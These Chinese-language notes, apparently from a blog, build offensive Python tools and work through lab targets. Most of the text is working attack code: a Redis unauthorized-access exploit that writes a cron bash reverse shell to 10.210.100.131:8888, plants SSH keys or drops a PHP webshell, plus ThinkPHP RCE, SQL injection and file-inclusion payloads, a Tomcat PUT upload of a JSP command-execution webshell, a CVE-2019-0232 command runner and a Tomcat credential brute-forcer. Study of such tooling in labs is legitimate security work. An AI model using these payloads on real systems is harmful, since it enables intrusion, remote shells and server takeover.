    redis_client.set('x','\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/反弹的ip/反弹的端口 0>&1\n\n')
    redis_client.save()
    print("定时任务已经创建")

#3.写入攻击机公钥
def exp_ssh(redis_client,ip):
    #1.找到根目录下的密钥文件
    root = "/root/.ssh"
    #2.向靶机中写入公钥
    redis_client.config_set('dir',root)
    redis_client.config_set('dbfilename','authorized_key')
    redis_client.set('x','\n\n'+sshkey+'\n\n')
    redis_client.save()
    print("免密登录已设置")
    connect_ssh(ip)

#ssh连接  注意：ssh连接要在生成公钥的攻击机上执行
def connect_ssh(ip):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(ip,22,'root',sshkey)
        print('ssh 连接成功')
    except Exception:
        print('连接失败')
        
scan_port("ip")

扫描器优化

web服务器根路径写死了

在sqlmap中的core/settings.py中找到常用路径

定义文件wwwroot.py 添加根路径和后缀

LINUX = (
    "/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24", "/usr/local/httpd", "/var/www/nginx-default", "/srv/www", "/var/www/%TARGET%", "/var/www/vhosts/%TARGET%", "/var/www/virtual/%TARGET%", "/var/www/clients/vhosts/%TARGET%", "/var/www/clients/virtual/%TARGET%"
    )

WINDOWS = (
    "/xampp", "/Program Files/xampp", "/wamp", 
    "/Program Files/wampp", "/Apache/Apache", "/apache", 
    "/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2", 
    "/Program Files/Apache Group/Apache2.2", 
    "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", 
    "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%"
)

ALL = LINUX + WINDOWS

SUFFIXES = (
    "html", "htdocs", "httpdocs", "php", "public", "src", "site", 
            "build", "web", "www", "data", "sites/all", "www/build"
            )

添加获取网站根路径函数：

#获取网站web的根路径
def get_webroot(redis_client):
    roots = []
    for pre in wwwroot.ALL:
        for suf in wwwroot.SUFFIXES:
            try:
                root = pre + '/' + suf
                redis_client.config_set('dir',root)
            except Exception as e:
                print(e)
                continue
            roots.append(root)
    if not roots:
        print('[-]未找到目标主机的web路径')
    else:
        print('[+]找到目标主机的web路径：%s'%str(roots))
    return roots

增加测试webshell是否写入成功的函数：

def test_web():
    url = 'http://10.210.100.131/shell.php'
    response = requests.get(url)
    if response.status_code == 200:
        return True
    else:
        return False

整体代码：

#!/usr/bin/env python3

import redis
import socket
import paramiko
import wwwroot
import requests

sshkey = '攻击机公钥'

#print(wwwroot.ALL)

#用socket扫描端口
def scan_port(ip):
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.settimeout(0.3)
    try:
        s.connect((ip,6379))
        print("端口开放！！！")
        s.close()
        check_redis_connect(ip)
    except Exception:
        print("端口未开放！！！")

#检测漏洞是否存在
def check_redis_connect(ip):
    try:
        client = redis.StrictRedis(host=ip,port=6379,socket_timeout=0.3)
        print(client.client_list())
        #exp_webshell(client)
        exp_crontab(client)
        #exp_ssh(client,ip)
    except Exception:
        print("无法连接，不存在redis未授权")

#scan_port("10.210.100.128")

#获取网站web的根路径
def get_webroot(redis_client):
    roots = []
    for pre in wwwroot.ALL:
        for suf in wwwroot.SUFFIXES:
            try:
                root = pre + '/' + suf
                redis_client.config_set('dir',root)
            except Exception as e:
                print(e)
                continue
            roots.append(root)
    if not roots:
        print('[-]未找到目标主机的web路径')
    else:
        print('[+]找到目标主机的web路径：%s'%str(roots))
    return roots

def test_web():
    url = 'http://10.210.100.131/shell.php'
    response = requests.get(url)
    if response.status_code == 200:
        return True
    else:
        return False

#1.写webshell
def exp_webshell(redis_client):
    #1.找到web服务器的根目录
    #root = "/var/www/html"
    roots = get_webroot(redis_client)
    #2.写入木马文件
    for root in roots:
        redis_client.config_set('dir',root)
        redis_client.config_set('dbfilename','shell.php')
        redis_client.set('x','<?php phpinfo();?>')
        redis_client.save()
    test = test_web()
    if test:
        print("webshell已写入成功")
    else:
        print("webshell写入失败")
#2.创建定时任务反弹shell
def exp_crontab(redis_client):
    #1.找到定时任务的目录
    root = "/var/spool/cron"
    #2.写入定时任务
    redis_client.config_set('dir',root)
    redis_client.config_set('dbfilename','root')
    redis_client.set('x','\n* * * * * bash -i >& /dev/tcp/10.210.100.131/8888 0>&1\n')
    redis_client.save()
    print("定时任务已经创建")

#3.写入攻击机公钥
def exp_ssh(redis_client,ip):
    #1.找到根目录下的密钥文件
    root = "/root/.ssh"
    #2.向靶机中写入公钥
    redis_client.config_set('dir',root)
    redis_client.config_set('dbfilename','authorized_key')
    redis_client.set('x','\n\n'+sshkey+'\n\n')
    redis_client.save()
    print("免密登录已设置")
    connect_ssh(ip)

#ssh连接  注意：ssh连接要在生成公钥的攻击机上执行
def connect_ssh(ip):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(ip,22,'root',sshkey)
        print('ssh 连接成功')
    except Exception:
        print('连接失败')

if __name__ == '__main__':
    scan_port("10.210.100.131")

sql注入扫描

1.sql注入的原理是，判断有无后面我们自己输入的被带入sql语句执行
2.常见就是 ‘ “ and 1=1 / and 1=2等
3.看网页的反应，有没有报错，或者通过时间等猜测是否带入我们输入的参数

sql注入的核心是用户输入，所以要先提取网页的表单

待优化

1.测试报错的语句可以定义多个

2.可添加爬虫

#!/usr/bin/env python

import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin
from fake_useragent import UserAgent

ua = UserAgent()
s = requests.session()
s.headers["User-Agent"] = ua.random

#获取网页表单
def get_all_forms(url):
    soup = BeautifulSoup(s.get(url).content,'lxml')
    return soup.find_all("form")

#解析表单  提取关于html表单的有用信息
def get_form_details(form):
    details = {}   #字典，存储表单信息的键值对
    #获取表单的action
    try:
        action = form.attrs.get("action").lower()
    except:
        action = None
    #获取表单的方法 (get post)
    method = form.attrs.get("method").lower()
    #获取一些输入的细节,比如类型 名称等
    inputs = []
    #列表的元素为字典
    for input_tag in form.find_all("input"):
        input_type = input_tag.attrs.get("type","text")
        input_name = input_tag.attrs.get("name")
        input_value = input_tag.attrs.get("value")
        inputs.append({"type":input_type,"name":input_name,"value":input_value})
    details['action'] = action
    details['method'] = method
    details['inputs'] = inputs
    return details

#判断是否存在注入
def is_vulnerable(response):
    errors = {
        #mysql
        "You have an error in your SQL syntax",
        "warning:mysql",
        #sqlserver
        "unclosed quotation mark after the charcter string",
        #Oracle
        "qupted string not properly terminated",
    }
    for error in errors:
        if error in response.content.decode():
            return True
        else:
            return False
        
def scan_sql_injection(url):
    #1.测试url
    for c in "\"'":
        new_url = f"{url}{c}"
        print("正在尝试",new_url)
        res = s.get(new_url)
        if is_vulnerable(res):
            print("可能存在sql注入漏洞,链接：%s"%new_url)
            return 
    #2.测试表单
    forms = get_all_forms(url)
    for form in forms:
        form_details =  get_form_details(form)
        for c in "\"'":
            #提交测试数据体
            data = {}
            for input_tag in form_details["inputs"]:
                #测试任何隐藏的或者有值的输入
                if input_tag["type"] == "hidden" or input_tag["value"]:
                    #只需要在表单的主体中使用
                    try:
                        data[input_tag["name"]] = input_tag["value"] + c
                    except:
                        pass
                elif input_tag["type"] != "submit":
                    #除了submit标签其他标签全部加上测试字符
                    data[input_tag["name"]] = f"test{c}"
        #拼接url
        url = urljoin(url,form_details["action"])
        if form_details["method"] == "post":
            res = s.post(url,data=data)
        elif form_details["method"] == "get":
            res = s.get(url,params=data)
        if is_vulnerable(res):
            print("可能存在sql注入漏洞,链接：%s"%new_url)
            print("Form:")
            print(form_details)
            break

if __name__ == "__main__":
    url = "http://localhost/sqli-labs-master/Less-1/?id=1"
    scan_sql_injection(url)

get型注入 sqli第1关

post型注入 sqli第11关

链接提取器

原理：找a标签下的href属性

步骤：

1.解析网页（bs xpath re）

2.通过解析器的方法找到对应的属性

3.形如这种：href=”/feedback?type=5” ，需要拼接成完整的路径（使用urljoin）

4.分辨是外链还是内链 存到响应的集合中

5.递归爬取，将结果保存

整体代码：

#!/usr/bin/env python

import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin,urlparse
from fake_useragent import UserAgent
import logging

#内链  使用集合可以自动去重
internal_urls = set()
#外链
external_urls = set()
total_urls_visited = 0

#检查url是否有效
#urlparse解析url 协议(scheme) 网络位置(netloc) 路径(path) 查询参数(query)
def is_valid(url):
    parsed = urlparse(url)
    loc = bool(parsed.netloc)
    sche = bool(parsed.scheme)
    return loc and sche

#解析网页
def get_allwebsite_links(url):
    urls = set()    #只存内部链接，方便后面递归时爬取的是内链
    #提取域名，用来判断是内链还是外链
    domain_name = urlparse(url).netloc
    #解析网页
    soup = BeautifulSoup(requests.get(url).content,'lxml')
    #获取所有的a标签
    for a_tag in soup.find_all("a"):
        #提取href属性的值
        href = a_tag.attrs.get("href")
        if href == "" or href is None:
            continue
        href = urljoin(url,href)
        #剔除get请求后的参数
        parsed_href = urlparse(href)
        href = parsed_href.scheme + "://" + parsed_href.netloc + parsed_href.path
        if not is_valid(href):
            continue
        if href in internal_urls:
            continue
        #判断是否为外链
        if domain_name not in href:
            if href not in external_urls:
                print(f"外部链接：{href}")
                external_urls.add(href)
            continue
        print(f"内部链接：{href}")
        urls.add(href)
        internal_urls.add(href)
    return urls 

#如果要爬取整个网站，需要进行递归
def crawl(url,max_url=15):
    global total_urls_visited
    total_urls_visited += 1
    print(f"正在爬取:{url}")
    links = get_allwebsite_links(url)
    for link in links:
        if total_urls_visited > max_url:
            break
        crawl(link,max_url=max_url)

if __name__ == "__main__":
    url = "https://zhihu.com"
    domain_name = urlparse(url).netloc
    crawl(url=url,max_url=15)
    print("总内部链接数：",len(internal_urls))
    print(internal_urls)
    print("总外部链接数：",len(external_urls))    
    print(external_urls)
    with open(f"{domain_name}的内部链接爬取结果.txt","w") as f:
        for internal_url in internal_urls:
            print(internal_url.strip(),file=f)
    
    with open(f"{domain_name}的外部链接爬取结果.txt","w") as f:
        for external_url in external_urls:
            print(external_url.strip(),file=f)

区分内链和外链的作用：可能可以用于供应链打击

XSS扫描器

1.看到输入框就fuzz

2.观察网页是否存在回显

3.判断网页是否执行了js语句

4.整合xss payload

以xss-lab为例，将payload插入到输入的表单中

整体代码：

#!/usr/bin/env python
import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin

def get_all_forms(url):
    soup = BeautifulSoup(requests.get(url).content,"lxml")
    #拿到页面中的所有form表单
    return soup.find_all("form")

def get_form_details(form):
    #定义一个存储表单详细信息的字典
    details = {}
    action = form.attrs.get("action","").lower()
    #获取表单的提交方法
    method = form.attrs.get("method","get").lower()
    
    inputs = []
    for input_tag in form.find_all("input"):
        #soup.attrs.get(name, default=None)
        #其中，name 是要获取的属性名称，default 是可选的默认值，如果未找到指定属性，则返回该默认值。
        #注意：这里将没有tyoe属性的input标签的type都设置为了text
        input_type = input_tag.attrs.get("type","text")
        input_name = input_tag.attrs.get("name")
        inputs.append({"type":input_type,"name":input_name})

    #将所有的信息添加到结果字典中
    details["action"] = action
    details["method"] = method
    details["inputs"] = inputs
    return details

#根据表单信息提交参数
def submit_form(form_details,url,value):
    target_url = urljoin(url,form_details["action"])
    #获取输入元素然后进行替换为xsspayload
    inputs = form_details["inputs"]
    data = {}
    for input in inputs:
        #替换所有文本框的值和搜索框的值
        if input["type"] == "text" or input["type"] == "search":
            input["value"] = value
        input_name = input.get("name")
        input_value = input.get("value")
       
        if input_name and input_value:
            #如果都不为空 则添加
            data[input_name] = input_value
    
    print(f"正在向{target_url}提交payload")
    print(f"数据：{data}")
    if form_details["method"] == "post":
        return requests.post(url=target_url,data=data)
    else:
        return requests.get(url=target_url,params=data)

def xss_scan(url):
    forms = get_all_forms(url)
    print(f"正在检查{url}")
    xss_payload = "<script>alert('r1ckyL')</script>"
    #标记是否存在xss漏洞
    is_vul = False
    for form in forms:
        form_details = get_form_details(form)
        content = submit_form(form_details,url,xss_payload).content.decode()
        if xss_payload in content:
            print(f"{url}可能存在xss漏洞")
            print("表单详细信息：")
            print(form_details)
            is_vul = True
            break

    return is_vul

if __name__ == "__main__":
    url = "http://39.101.162.123:10764/level2.php?keyword=test"
    xss_scan(url)

文件上传扫描器

思路：

1.找到上传文件的url

2.发送文件（存在黑名单 bypass）

3.找到上传成功返回的提示信息和路径

以文件上传靶场upload-lab 第一关做测试

根据上传的表单参数定制上传代码：

文件上传代码：

with open(image_url,'rb') as file:
    #构建文件上传的参数
    files = {"upload_file":file}
    data = {"submit":"true"}
    response = requests.post(upload_url,files=files,data=data)

常见php bypass：

Php php3 Ph phtml php5 php6 pht phtm

此处上传成功会有图片相对路径： 将/upload作为成功标识

整体代码：

#!/usr/bin/env python

import requests

def check_file_upload(url,image_path,fuzz_file_extensions):
    try:
        #读取图片文件内容
        with open(image_path,'rb') as file:
            #构建文件上传的参数
            for extension in fuzz_file_extensions:
                image_filename = f"image.{extension}"
                files = {"upload_file":(image_filename,file)}
                data = {"submit":"true"}
                response = requests.post(upload_url,files=files,data=data)
                #检测响应中有无上传成功的特定标识
                #此处为图片的相对路径 /upload/xxx
                if "/upload" in response.text:
                    print(f"可能存在文件上传漏洞，上传文件名为：{image_filename}")
                    break
                else:
                    print(f"未检测出文件上传漏洞")
    except FileNotFoundError:
        print(f"错误，文件{image_filename}未找到")
    except Exception as e:
        print(f"发生错误{e}")

if __name__ == "__main__":
    upload_url = "http://39.101.162.123:37614/Pass-01/index.php"
    image_url = "D:\\SRC\\文件相关test\\test2.jpg"
    #要进行fuzz的文件扩展名
    fuzz_file_extensions = ['Php','php3','phtml','Ph']
    check_file_upload(upload_url,image_url,fuzz_file_extensions)

待优化：

1.文件扩展名bypass，可能不是php

2.上传成功的返回不一样（可做成-u参数选择）

ThinkPHP漏洞扫描器

2.x 代码执行漏洞

2.x版本里面 preg_relace的/e来匹配这个路由，导致用户输入参数被插入了双引号中，造成了任意代码执行

preg_relace(“正则规则”，”替换字符”，”目标字符”）

漏洞处：

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

POC：

/?s=/Index/index/xxx/${@print(eval($_POST[cmd]))}

测试代码：

#!/usr/bin/env python

import requests
from urllib.parse import urljoin

def thinkphp2_rce(url):
    payload = "?s=/Index/index/xxx/${var_dump(md5(123))}"
    url = urljoin(url,payload)
    response = requests.get(url)
    if '202cb962ac59' in response.text:
        print("漏洞存在")
    else:
        print("漏洞不存在")

if __name__ == "__main__":
    url = "http://10.210.100.131:8080/"
    thinkphp2_rce(url)

5.0.23 RCE

其5.0.23以前的版本中，获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞

POC:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
url:/index.php?s=captcha

测试代码：

#!/usr/bin/env python

import requests
from urllib.parse import urljoin

def thinkphp_5023_rce(url):
    headers={
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    #方法二，将payload拆开写成headers的键值对形式传入
    url1 = url+'/index.php?s=captcha'
    target = urljoin(url,url1)
    payload = r'_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id'
    response = requests.post(url=target,data=payload,headers=headers)
    if "uid=" in response.text:
        print("漏洞存在")
    else:
        print("漏洞不存在")

if __name__ == "__main__":
    url = "http://10.210.100.131:8080"
    thinkphp_5023_rce(url)

5-5.0.22/5.1.29 RCE

原理：
由于框架在处理控制器中的函数参数时，未正确过滤和验证输入，导致攻击者可以构造特定的输入数据，从而触发远程代码执行漏洞。

poc:

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=123

#!/usr/bin/env python

import requests
from urllib.parse import urljoin

def thinkphp5x_rce(url):
    poc = r"/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=123"
    payload = urljoin(url,poc)
    response = requests.get(payload,verify=False)
    if "202cb962ac590" in response.text:
        print("漏洞存在")
    else:
        print("漏洞不存在")

if __name__ == "__main__":
    url = "http://10.210.100.131:8080"
    thinkphp5x_rce(url)

5.0.9 sql注入和敏感信息泄露

原理：
传入的某参数在绑定编译指令的时候又没有安全处理，预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式，在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。

poc：
/index.php?ids[]=1&ids[]=2
/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

测试代码：

#!/usr/bin/env python

import requests
from urllib.parse import urljoin

def thinkphp5_sql(url):
    payload = urljoin(url,'/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1')
    response = requests.get(payload,verify=False)
    if "XPATH syntax error" in response.text:
        print("漏洞存在")
    else:
        print("漏洞不存在")

if __name__ == "__main__":
    url = "http://10.210.100.131:80"
    thinkphp5_sql(url)
    

6.0.12 多语言本地文件包含漏洞

目录穿越+文件包含

pearcmd 包含trick 实现 RCE

利用条件：
多语言模块开启
安装了pear拓展
知道pearcmd.php的路径

poc：

index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php

执行之后写入了shell.php，如果可以访问shell.php则存在漏洞

测试代码：

#!/usr/bin/env python

import requests
from urllib.parse import urljoin

def thinkphp5_lang(url):
    payload = urljoin(url,'index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php')
    response = requests.get(url=payload,verify=False)
    url2 = urljoin(url,'/shell.php')
    response2 = requests.get(url2,verify=False)
    if response2.status_code == 200:
        print("漏洞存在")
    else:
        print("漏洞不存在")

if __name__ == "__main__":
    url = "http://10.210.100.131:8080"
    thinkphp5_lang(url)

整合–thinkphp漏洞综合扫描器

在vulhub启5个漏洞环境

tp_scan实现思路

1.传参 argparse

2.时间 datetime

3.输出（美观） rich

4.写成类 ，类中定义对每个漏洞的检测函数，并使用字典记录信息，最后作为结果返回

测试单个 漏洞检测：

目录结构：

main.py:

#!/usr/bin/env python

import requests
from urllib.parse import urljoin
import argparse
import datetime
import sys
import beautifyPrint as rprint
from tpScan import start_scan

def get_time():
    return datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="thinkphp综合漏扫器")
    parser.add_argument('-url','--url',type=str,help="请输入目标url")
    parser.add_argument('-file','--file',type=str,help="请输入待检测的txt文件")
    args = parser.parse_args()

    if '-url' in sys.argv:
        rprint.info(get_time(),"thinkphp漏洞扫描开始")
        start_scan(args.url)
        rprint.info(get_time(),"thinkphp漏洞扫描结束")
    elif '-file' in sys.argv:
        file = open(args.file,"r")
        rprint.info(get_time(),"thinkphp漏洞扫描开始")
        for url in file:
            print(url)
            start_scan(url)
        rprint.info(get_time(),"thinkphp漏洞扫描结束")

beautifyPrint.py：

from rich import print as rprint

def error(date, body):
    rprint("[[bold green]" + date + "[/bold green]] [[bold red]Error[/bold red]] > [bold yellow]" + body + "[/bold yellow]")

def success(date, body):
    rprint("[[bold green]" + date + "[/bold green]] [[bold green]Success[/bold green]] > " + body)

def info(date, body):
    rprint("[[bold green]" + date + "[/bold green]] [[bold blue]Info[/bold blue]] > " + body)

tpScan.py:

#!/usr/bin/env python

import requests
from urllib.parse import urljoin
import argparse
import datetime
import rich
import logging 
import beautifyPrint as rprint  #为了美化输出

def get_time():
    return datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")

class tpScan:
    def __init__(self):
        pass
    def thinkphp2_rce(url):
        result = {
            'name':'thinkphp 2x RCE',
            'vulnerable':False,
        }
        try:
            payload = "?s=/Index/index/xxx/${var_dump(md5(123))}"
            url = urljoin(url,payload)
            response = requests.get(url)
            if '202cb962ac59' in response.text:
                result['vulnerable'] = True
                result['method'] = 'GET'
                result['url'] = url
                result['payload'] = payload
                return result
            else:
                return result
        except:
            return result
    def thinkphp5023_rce(url):
        result = {
            'name':'thinkphp 5.0.23 RCE',
            'vulnerable':False,
        }
        payload = {
            '_method': '__construct',
            'filter[]': 'phpinfo',
            'method': 'get',
            'server[REQUEST_METHOD]': '1'
        }
        #方法二，将payload拆开写成headers的键值对形式传入
        try:
            url1 = url+'/index.php?s=captcha'
            target = urljoin(url,url1)
            response = requests.post(url=target,data=payload,verify=False)
            if "PHP Version" in response.text:
                result['vulnerable'] = True
                result['method'] = 'POST'
                result['url'] = target
                result['payload'] = payload
                return result
            else:
                return result
        except:
            return result        
    def thinkphp5x_rce(url):
        result = {
            'name':'thinkphp 5-5.0.22/5.1.29 RCE',
            'vulnerable':False,
        }
        try:
            poc = r"/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=123"
            payload = urljoin(url,poc)
            response = requests.get(payload,verify=False)
            if "202cb962ac590" in response.text:
                result['vulnerable'] = True
                result['method'] = 'GET'
                result['url'] = payload
                result['payload'] = poc
                return result
            else:
                return result
        except:
            return result
    def thinkphp5_sql(url):
        result = {
            'name':'thinkphp 5.0.9 sqlInjection and infoLeak',
            'vulnerable':False
        }
        try:
            payload = urljoin(url,'/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1')
            response = requests.get(payload,verify=False)
            if "XPATH syntax error" in response.text:
                result['vulnerable'] = True
                result['method'] = 'GET'
                result['url'] = payload
                result['payload'] = '/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1'
                return result
            else:
                return result            
        except:
            return result
    def thinkphp6_lang(url):
        result = {
            'name':'thinkphp6 lang local file inclusion',
            'vulnerable':False
        }
        try:
            payload = urljoin(url,'index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php')
            response = requests.get(url=payload,verify=False)
            url2 = urljoin(url,'/shell.php')
            response2 = requests.get(url2,verify=False)
            if response2.status_code == 200:
                result['vulnerable'] = True
                result['method'] = 'GET'
                result['url'] = url2
                result['payload'] = 'index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php'
                return result
            else:
                return result
        except:
            return result


def start_scan(self):
    scan = tpScan.thinkphp2_rce(self)
    rprint.info(get_time(),scan['name'] + str('  '+str(scan['vulnerable'])))

    scan = tpScan.thinkphp5023_rce(self)
    rprint.info(get_time(),scan['name'] + str('  '+str(scan['vulnerable'])))

    scan = tpScan.thinkphp5x_rce(self)
    rprint.info(get_time(),scan['name'] + str('  '+str(scan['vulnerable'])))

    scan = tpScan.thinkphp5_sql(self)
    rprint.info(get_time(),scan['name'] + str('  '+str(scan['vulnerable'])))

    scan = tpScan.thinkphp6_lang(self)
    rprint.info(get_time(),scan['name'] + str('  '+str(scan['vulnerable'])))

输出：

存在的bug

使用文件时第1个和第2个漏洞没有扫出来，单个目标扫的时候能扫出来

tomcat漏洞扫描器

CVE-2017-12615任意文件上传

漏洞原理：/conf/web.xml(readonly=False) tomcat7.0.0-7.0.81

可以使用put方法上传任意文件

最新版的vulhub环境有问题，起CVE-2017-12615的环境出来的是8.5.19版本 无法复现该漏洞

整体代码：

#!/usr/bin/env python

import requests
from urllib.parse import urljoin
import time

url = ""
payload_file = 'shell.jsp/'

def cve_2017_12615(url):
    payload_url = url + payload_url
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',

    }
    payload_body = ("<%java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream();"
                    "int a = -1;"
                    "byte[] b = new byte[2048];"
                    "while((a=in.read(b))!=-1){out.println(new String(b));}"
                    "%>")
    #用put把文件写入服务器
    response = requests.put(payload_url,data=payload_body,headers=headers)
    #等待一会
    time.sleep(3)
    test_payload = {
        "cmd":"whoami"
    }
    #带参数请求时不要最后的斜杠/
    response2 = requests.get(payload_url[:-1],headers=headers,params=test_payload)
    if response2.status_code == 200:
        print("漏洞存在")
    else:
        print("漏洞不存在")

if __name__ == "__main__":
    cve_2017_12615(url)

CVE-2019-0232命令执行

windows环境下

jre将命令行传递给windows方式存在错误，会导致cgi-servlet远程代码执行

漏洞版本：

9.0.1-9.0.17 8.5.0-8.5.39 7.0.0-7.0.93

利用条件：

1.windows系统

2.cgi-servlet开启

poc:

/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5C  后面跟命令

整体代码：

#!/usr/bin/env python

import requests
import time
import sys

url = sys.argv[1]
payload = "/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5C"
cmd = sys.argv[2]
def cve_2019_0232(url):
    payload_url = url+payload
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',

    }
    
    response = requests.get(payload_url+cmd,headers=headers)
    if response.status_code == 200:
        print("漏洞存在")
        print(response.content.decode('gbk'))
    else:
        print("漏洞不存在")

if __name__ == "__main__":
    cve_2019_0232(url)

python CVE-2019-0232.py ip command

CVE-2020-1938

当Tomcat使用了自带session同步功能时，使用不安全的配置(没有使用EncryptInterceptor)会存在反序列化漏洞，攻击者通过精心构造的数据包，可以对使用了自带session同步功能的Tomcat服务器进行攻击。

有点复杂和鸡肋 跳过

tomcat弱口令+部署war包 getshell（重点）

弱口令：tomcat/tomcat

路径：/manager/html

编码了账号密码：

Authorization: Basic dG9tY2F0OnRvbWNhdA==

tomcat弱口令检测脚本

1.访问ip/manager/html

2.输入tomcat/tomcat 进行base64编码

3.登录成功：200 失败：401

整体代码：

#!/usr/bin/env python

import requests
import base64

url = 'http://10.210.100.131:8082/manager/html'

def tomcat_weak_password(url):
    users = ['admin','sysadmin','system','Administrator','tomcat','root']
    passwords = ['123456','admin','admin123','admin666','tomcat','admin888']

    for u in users:
        for p in passwords:
            print(f"正在测试账号密码：{u}:{p}")
            tomcat_passwd = u.strip() + ":" + p.strip()
            #base64编码
            encoded_password = base64.b64encode(tomcat_passwd.encode('utf-8'))
            encoded_password_end = 'Basic ' + str(encoded_password,'utf-8')
            headers = {
                'Authorization': encoded_password_end,
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36',

            }
            response = requests.get(url=url,headers=headers)
            if response.status_code == 200:
                print("存在弱口令！")
                print(f"账号密码：{u}:{p}")
                break
                
            else:
                print("不存在弱口令")


tomcat_weak_password(url)